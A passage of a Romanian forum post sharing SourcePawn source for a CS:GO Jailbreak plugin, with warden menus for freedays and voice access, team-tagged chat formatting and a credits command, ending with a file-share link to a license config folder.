				EquipPlayerWeapon(client, iMelee);
				SetEntProp(client, Prop_Send, "m_ArmorValue", 100);
				SetEntProp(client, Prop_Send, "m_bHasHelmet", 1 );
			}
			case 6:
			{
				GivePlayerItem(client, "weapon_tec9");
				iMelee = GivePlayerItem(client, "weapon_knife_m9_bayonet");
				EquipPlayerWeapon(client, iMelee);
				SetEntProp(client, Prop_Send, "m_ArmorValue", 100);
				SetEntProp(client, Prop_Send, "m_bHasHelmet", 1 );
			}
			case 7:
			{
				GivePlayerItem(client, "weapon_deagle");
				iMelee = GivePlayerItem(client, "weapon_knife_m9_bayonet");
				EquipPlayerWeapon(client, iMelee);
				SetEntProp(client, Prop_Send, "m_ArmorValue", 100);
				SetEntProp(client, Prop_Send, "m_bHasHelmet", 1 );
			}
			case 8:
			{
				GivePlayerItem(client, "weapon_revolver");
				iMelee = GivePlayerItem(client, "weapon_knife_m9_bayonet");
				EquipPlayerWeapon(client, iMelee);
				SetEntProp(client, Prop_Send, "m_ArmorValue", 100);
				SetEntProp(client, Prop_Send, "m_bHasHelmet", 1 );
			}
		}
	}
}

stock bool MeniuAdministareDetinuti(int client)
{
	if(client == Simon)
	{
		Menu meniu_ad = new Menu(AdministareDetinutiHandler);
		meniu_ad.SetTitle("Administrare Deținuți");	
		meniu_ad.AddItem("", "Oferă Freeday");
		meniu_ad.AddItem("", "Oferă Voce");
		meniu_ad.AddItem("", "Alege Random Un Deținut");
		meniu_ad.ExitBackButton = true;
		meniu_ad.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int AdministareDetinutiHandler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
       MeniuSimon(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 
		{
			case 0:
			{
				FakeClientCommand(client, "sm_givefreeday");
			}
			case 1:
			{
				FakeClientCommand(client, "sm_givevoice");
			}
		}
	}
}

public Action Command_GiveFreeday(int client, int args)
{
	if(FreedayEnabled) 
	{
		PrintToChat(client, " \x0F[BOT]PlayArena\x01: Nu poți da \x06FreeDay\x01 când este duminică.");
		return Plugin_Handled;
	}
	
	Menu meniu_FreedayMenu = new Menu(FreedayMenuHandler);
	meniu_FreedayMenu.SetTitle("----------------\nOferă FreeDay\n----------------");
	
	if(client == Simon || CheckCommandAccess(client, "sm_slay", ADMFLAG_GENERIC, true)) 
	{
		char target[50];
		int availabletargets = 0;
		
		for (int i = 1; i <= MaxClients; i++)
		{
			if(IsValidClient(i) && GetClientTeam(i) == 2 && IsPlayerAlive(i) && !PlayerHasFreeday[i])		
			{
				GetClientName(i, target, sizeof(target));
				meniu_FreedayMenu.AddItem(target, target);
				++availabletargets;
			}
		}
		
		if(availabletargets == 0) 
		{
			PrintToChat(client, " \x0F[BOT]PlayArena\x01: Nu s-au găsit deținuți disponibili. Fie nu sunt deținuți, fie toți deținuții au deja FreeDay.");
			return Plugin_Handled;
		}
		if(client == Simon)
		{
			meniu_FreedayMenu.ExitBackButton = true;
		}
		meniu_FreedayMenu.Display(client, MENU_TIME_FOREVER);
	} 
	else 
	{
		PrintToChat(client, " \x0F[BOT]PlayArena\x01: Trebuie să fii \x10Simon\x01 pentru a da \x06FreeDay\x01.");
	}
	
	return Plugin_Handled;
}

public int FreedayMenuHandler(Menu menu, MenuAction action, int client, int param2)
{
	if (action == MenuAction_Cancel && param2 == MenuCancel_ExitBack)
	{
        MeniuSimon(client);
	}
	else if(action == MenuAction_Select)
	{
		char arg1[50];
		GetMenuItem(menu, param2, arg1, sizeof(arg1));
		int target = FindTarget(client, arg1, true, false);
		if (target != -1) 
		{
			if(client == Simon)
				PrintToChatAll(" \x0F[BOT]PlayArena\x01: \x06%N \x01a primit FreeDay de la Simon (\x10%N\x01).", target, client);
			else if(CheckCommandAccess(client, "sm_slay", ADMFLAG_GENERIC, true))
				PrintToChatAll(" \x0F[BOT]PlayArena\x01: \x06%N \x01a primit FreeDay de la \x10%N\x01.", target, client);
				
			SetEntityRenderColor(target, 0, 255, 0, 255);
			PlayerHasFreeday[target] = true;
		}
	}
}

public Action Command_GiveVoice(int client, int args)
{
	Menu meniu_FreedayMenu = new Menu(VoiceMenuHandler);
	meniu_FreedayMenu.SetTitle("----------------\nOferă Voce\n----------------");
	
	if(client == Simon || CheckCommandAccess(client, "sm_slay", ADMFLAG_GENERIC, true)) 
	{
		char target[50];
		int availabletargets = 0;
		
		for (int i = 1; i <= MaxClients; i++)
		{
			if(IsValidClient(i) && GetClientTeam(i) == 2 && IsPlayerAlive(i) && !PlayerHasFreeday[i])		
			{
				GetClientName(i, target, sizeof(target));
				meniu_FreedayMenu.AddItem(target, target);
				++availabletargets;
			}
		}
		
		if(availabletargets == 0) 
		{
			PrintToChat(client, " \x0F[BOT]PlayArena\x01: Nu s-au găsit deținuți disponibili. Fie nu sunt deținuți, fie toți deținuții au deja acces la voce.");
			return Plugin_Handled;
		}
		if(client == Simon)
		{
			meniu_FreedayMenu.ExitBackButton = true;
		}
		meniu_FreedayMenu.Display(client, MENU_TIME_FOREVER);
	} 
	else 
	{
		PrintToChat(client, " \x0F[BOT]PlayArena\x01: Trebuie să fii \x10Simon\x01 pentru a da \x06acces la voce\x01.");
	}
	
	return Plugin_Handled;
}

public int VoiceMenuHandler(Menu menu, MenuAction action, int client, int param2)
{
	if (action == MenuAction_Cancel && param2 == MenuCancel_ExitBack)
	{
        MeniuSimon(client);
	}
	else if(action == MenuAction_Select)
	{
		char arg1[50];
		GetMenuItem(menu, param2, arg1, sizeof(arg1));
		int target = FindTarget(client, arg1, true, false);
		if (target != -1) 
		{
			if(client == Simon)
				PrintToChatAll(" \x0F[BOT]PlayArena\x01: \x06%N \x01a primit acces la voce de la Simon (\x10%N\x01).", target, client);
			else if(CheckCommandAccess(client, "sm_slay", ADMFLAG_GENERIC, true))
				PrintToChatAll(" \x0F[BOT]PlayArena\x01: \x06%N \x01a primit acces la voce de la \x10%N\x01.", target, client);
			
			SetClientListeningFlags(target, VOICE_NORMAL);
		}
	}
}

public Action OnClientSayCommand(int client, const char[] command, const char[] args)
{ 
	char name [MAX_NAME_LENGTH];
	GetClientName(client, name, sizeof(name));
	
	if(IsChatTrigger())
		return Plugin_Handled;
	if(args[0] == '@')
		return Plugin_Handled;
	if(IsValidClient(client) && BaseComm_IsClientGagged(client))
	{
		PrintToChat(client, " \x0F[BOT]PlayArena\x01: \x10Nu poți scrie pe chat, ai gag!");
		return Plugin_Handled;
	}
	if(StrEqual(command, "say"))
	{
		for(int i = 1;i <= MaxClients;i++)
		{
			if(IsClientInGame(i))
			{
				AdminId admin = GetUserAdmin(client);
				if (admin == INVALID_ADMIN_ID)
				{
					if(GetClientTeam(client) == 1) // Vizitator
					{
						PrintToChat(i, "⌛ [Vizitator]\x08%s\x01: %s", name, args);
					}
					else if(GetClientTeam(client) == 2) // Deținuți
					{
						if(IsPlayerAlive(client))
						{
							PrintToChat(i, " \x09[DEȚINUT]\x08%s\x01: %s", name, args);
						}
						else
						{
							PrintToChat(i, "☠︎ \x09[DEȚINUT]\x08%s\x01: %s", name, args);
						}
					}
					else if(GetClientTeam(client) == 3) // Gardieni
					{
						if(client == Simon)
						{
							PrintToChat(i, " \x0B[SIMON]\x08%s\x01\x0A: %s", name, args);
						}
						else
						{
							if(IsPlayerAlive(client))
							{
								PrintToChat(i, " \x0B[GARDIAN]\x08%s\x01: %s", name, args);
							}
							else
							{
								PrintToChat(i, "☠︎ \x0B[GARDIAN]\x08%s\x01: %s", name, args);
							}
						}
					}
				}
			}
		}
	}
	if(StrEqual(command, "say_team"))
	{
		for(int i = 1;i <= MaxClients;i++)
		{
			if(IsClientInGame(i))
			{
				AdminId admin = GetUserAdmin(client);
				if(admin == INVALID_ADMIN_ID)
				{
					if(GetClientTeam(client) == 3) // Gardieni
					{
						if(GetClientTeam(i) == 3)
						{
							if(IsPlayerAlive(client))
							{	
								PrintToChat(i, " \x0B%s\x01: %s", name, args);
							}
							else
							{
								PrintToChat(i, "☠︎ \x0B%s\x01: %s", name, args);
							}
						}
					}
					else if(GetClientTeam(client) == 2) // Deținuți
					{
						if(GetClientTeam(i) == 2)
						{
							if(IsPlayerAlive(client))
							{
								PrintToChat(i, " \x09%s\x01: %s", name, args);
							}
							else
							{
								PrintToChat(i, "☠︎ \x09%s\x01: %s", name, args);
							}
						}
					}
					else if(GetClientTeam(client) == 1) // Vizitatori
					{
						if(GetClientTeam(i) == 1)
						{
							PrintToChat(i, "⌛ \x08%s\x01: %s", name, args);	
						}
					}
				}
			}
		}
	}
	return Plugin_Stop;
}


public Action Comanda_SetareTigari(int client,int args)
{
	if(client == 0)
	{
		PrintToServer("%t","Command is in-game only");
		return Plugin_Handled;
	}
	
	if(args < 2) 
	{
		ReplyToCommand(client, "[SM] Use: sm_settigari <#userid|name> [cantitate]");
		return Plugin_Handled;
	}
	char arg2[10];
	GetCmdArg(2, arg2, sizeof(arg2));
	int amount = StringToInt(arg2);
	char strTarget[32];
	GetCmdArg(1, strTarget, sizeof(strTarget));
	char strTargetName[MAX_TARGET_LENGTH]; 
	int TargetList[MAXPLAYERS], TargetCount; 
	bool TargetTranslate; 

	if ((TargetCount = ProcessTargetString(strTarget, client, TargetList, MAXPLAYERS, COMMAND_FILTER_CONNECTED, 
                                           strTargetName, sizeof(strTargetName), TargetTranslate)) <= 0) 
	{ 
		ReplyToTargetError(client, TargetCount); 
		return Plugin_Handled; 
	}

	for (int i = 0; i < TargetCount; i++) 
	{ 
		int iClient = TargetList[i]; 
		if (IsClientInGame(iClient))
		{ 
			Tigari[iClient] = amount+ Tigari[iClient];
			PrintToChat(client, " \x0F[BOT]PlayArena\x01: I-ai setat %i credite lui %N", amount, iClient);
		} 
	}
	return Plugin_Continue;
}


Aveti nevoie de acest folder in configs ca sa va accepte licenta pe ipul nou -> http://www.girlshare.ro/3769930979.1
Last edited by trekA on 25 Jun 2020, 13:50, edited 1 time in total.
Reason: Mutat la Plugin-uri CSGO
Locked

Return to “Pluginuri”

  • Information
  • Who is online

    Users browsing this forum: No registered users and 0 guests